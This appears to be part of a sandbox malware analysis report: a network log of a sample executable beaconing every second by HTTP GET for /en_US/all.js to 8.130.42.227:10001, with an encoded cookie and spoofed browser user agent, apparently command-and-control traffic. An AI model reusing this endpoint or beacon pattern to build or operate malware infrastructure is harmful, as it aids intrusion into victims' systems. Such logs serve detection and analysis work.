Oct 1, 2024 09:18:16.838865995 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:16 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49804	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:16.949246883 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:17.902736902 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:17 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49805	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:18.070692062 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:19.022764921 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:18 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49806	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:19.154947042 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:20.290249109 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:19 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49807	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:20.406044960 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:21.351322889 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:21 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49808	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:21.466885090 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:22.404139042 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:22 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49809	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:22.516719103 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:23.470350027 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:23 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49810	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:23.596708059 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:24.563240051 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:24 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49811	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:24.687603951 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:25.623217106 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:25 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49812	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:25.752697945 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:26.699789047 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:26 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49813	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:26.817373991 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:27.765852928 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:27 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49814	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:27.892714977 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:28.877537966 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:28 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49815	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:28.998631954 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:29.989542961 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:29 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49816	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:30.111059904 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:31.053788900 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:30 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49817	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:31.172106981 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:32.116039991 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:31 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49818	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:32.264465094 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:33.219223976 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:33 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49819	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:33.342219114 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:34.334094048 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:34 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49820	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:34.450947046 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:35.513272047 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:35 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49821	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:35.624229908 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:39.577821016 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:39 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49822	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:39.706851006 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:40.809396029 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:40 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49823	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:40.973115921 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:41.920358896 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:41 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49824	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:42.038556099 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:42.984538078 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:42 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49825	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:43.109435081 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:44.063050032 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:43 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49826	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:44.186863899 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:45.136379957 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:44 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49827	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:45.249651909 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:46.218566895 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:46 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49828	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:46.344548941 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:47.282550097 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:47 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49829	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:47.408241987 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:48.371803045 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:48 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49830	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:48.639575005 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:49.608248949 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:49 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49831	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:49.718794107 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:50.703569889 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:50 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49832	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
